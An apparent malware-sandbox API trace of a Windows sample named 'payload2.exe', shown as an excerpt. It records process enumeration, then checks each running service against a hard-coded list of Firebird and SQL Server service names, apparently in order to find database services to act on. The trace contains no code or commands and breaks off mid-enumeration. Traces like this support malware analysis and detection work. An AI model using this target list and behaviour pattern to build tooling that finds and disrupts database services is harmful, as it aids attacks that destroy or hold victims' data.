	[0171.436] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0171.436] lstrlenW (lpString="explorer.exe") returned 12
	[0171.437] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0171.437] lstrlenW (lpString="SearchUI.exe") returned 12
	[0171.437] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0171.437] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0171.437] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0171.438] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0171.438] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0171.438] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0171.438] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0171.439] lstrlenW (lpString="payload2.exe") returned 12
	[0171.439] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0171.439] lstrlenW (lpString="cmd.exe") returned 7
	[0171.439] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0171.440] lstrlenW (lpString="conhost.exe") returned 11
	[0171.440] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0171.440] CloseHandle (hObject=0x538) returned 1
	[0171.440] Sleep (dwMilliseconds=0x1f4) 
	[0172.292] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668268
	[0172.293] EnumServicesStatusExW (in: hSCManager=0x668268, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0172.294] GetLastError () returned 0xea
	[0172.294] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bbc) returned 0x44ec110
	[0172.294] EnumServicesStatusExW (in: hSCManager=0x668268, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x44ec110, cbBufSize=0x1bbc, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x44ec110, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0172.295] CloseServiceHandle (hSCObject=0x668268) returned 1
	[0172.296] lstrlenW (lpString="AppXSvc") returned 7
	[0172.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0172.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0172.296] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0172.296] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0172.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0172.296] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0172.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0172.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0172.296] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0172.296] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0172.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0172.296] lstrlenW (lpString="Audiosrv") returned 8
	[0172.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0172.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0172.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0172.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0172.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0172.297] lstrlenW (lpString="BFE") returned 3
	[0172.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0172.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0172.297] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0172.297] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0172.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0172.297] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0172.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0172.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0172.297] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0172.297] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0172.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0172.297] lstrlenW (lpString="CDPSvc") returned 6
	[0172.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0172.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0172.297] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0172.297] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0172.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0172.297] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0172.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0172.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0172.297] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0172.297] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0172.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0172.298] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0172.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0172.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0172.298] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0172.298] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0172.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0172.298] lstrlenW (lpString="CryptSvc") returned 8
	[0172.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0172.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0172.298] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0172.298] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0172.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0172.298] lstrlenW (lpString="DcomLaunch") returned 10
	[0172.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0172.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0172.298] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0172.298] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0172.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0172.298] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0172.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0172.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0172.298] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0172.298] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0172.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0172.299] lstrlenW (lpString="Dhcp") returned 4
	[0172.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0172.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0172.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0172.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0172.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0172.299] lstrlenW (lpString="Dnscache") returned 8
	[0172.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0172.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0172.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0172.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0172.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0172.299] lstrlenW (lpString="DPS") returned 3
	[0172.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0172.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0172.299] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0172.299] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0172.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0172.299] lstrlenW (lpString="DsmSvc") returned 6
	[0172.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0172.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0172.299] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0172.299] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0172.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0172.300] lstrlenW (lpString="DusmSvc") returned 7
	[0172.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0172.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0172.300] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0172.300] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0172.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0172.300] lstrlenW (lpString="EventLog") returned 8
	[0172.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0172.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0172.300] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0172.300] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0172.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0172.300] lstrlenW (lpString="EventSystem") returned 11
	[0172.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0172.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0172.300] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0172.300] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0172.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0172.300] lstrlenW (lpString="FontCache") returned 9
	[0172.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0172.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0172.301] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0172.301] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0172.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0172.301] lstrlenW (lpString="gpsvc") returned 5
	[0172.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0172.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0172.301] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0172.301] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0172.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0172.301] lstrlenW (lpString="iphlpsvc") returned 8
	[0172.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0172.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0172.301] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0172.301] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0172.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0172.301] lstrlenW (lpString="KeyIso") returned 6
	[0172.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0172.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0172.301] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0172.301] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0172.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0172.301] lstrlenW (lpString="LanmanServer") returned 12
	[0172.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0172.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0172.302] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0172.302] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0172.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0172.302] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0172.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0172.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0172.302] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0172.302] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0172.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0172.302] lstrlenW (lpString="lfsvc") returned 5
	[0172.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0172.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0172.302] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0172.302] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0172.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0172.302] lstrlenW (lpString="lmhosts") returned 7
	[0172.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0172.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0172.302] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0172.302] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0172.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0172.302] lstrlenW (lpString="LSM") returned 3
	[0172.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0172.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0172.303] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0172.303] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0172.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0172.303] lstrlenW (lpString="MpsSvc") returned 6
	[0172.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0172.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0172.303] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0172.303] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0172.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0172.303] lstrlenW (lpString="NcbService") returned 10
	[0172.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0172.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0172.303] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0172.303] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0172.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0172.303] lstrlenW (lpString="netprofm") returned 8
	[0172.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0172.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0172.303] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0172.303] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0172.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0172.303] lstrlenW (lpString="NgcSvc") returned 6
	[0172.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0172.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0172.304] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0172.304] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0172.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0172.304] lstrlenW (lpString="NlaSvc") returned 6
	[0172.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0172.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0172.304] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0172.304] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0172.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0172.304] lstrlenW (lpString="nsi") returned 3
	[0172.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0172.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0172.304] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0172.304] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0172.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0172.304] lstrlenW (lpString="PcaSvc") returned 6
	[0172.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0172.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0172.304] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0172.304] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0172.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0172.304] lstrlenW (lpString="PlugPlay") returned 8
	[0172.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0172.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0172.305] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0172.305] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0172.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0172.305] lstrlenW (lpString="Power") returned 5
	[0172.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0172.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0172.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0172.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0172.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0172.650] lstrlenW (lpString="ProfSvc") returned 7
	[0172.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0172.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0172.650] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0172.650] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0172.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0172.650] lstrlenW (lpString="RpcEptMapper") returned 12
	[0172.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0172.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0172.650] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0172.650] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0172.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0172.650] lstrlenW (lpString="RpcSs") returned 5
	[0172.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0172.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0172.650] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0172.650] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0172.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0172.650] lstrlenW (lpString="SamSs") returned 5
	[0172.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0172.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0172.650] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0172.651] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0172.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0172.651] lstrlenW (lpString="Schedule") returned 8
	[0172.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0172.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0172.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0172.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0172.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0172.651] lstrlenW (lpString="SecurityHealthService") returned 21
	[0172.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0172.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0172.651] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0172.651] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0172.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0172.651] lstrlenW (lpString="SENS") returned 4
	[0172.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0172.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0172.651] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0172.651] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0172.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0172.651] lstrlenW (lpString="ShellHWDetection") returned 16
	[0172.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0172.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0172.651] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0172.651] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0172.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0172.651] lstrlenW (lpString="Spooler") returned 7
	[0172.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0172.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0172.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0172.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0172.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0172.652] lstrlenW (lpString="StateRepository") returned 15
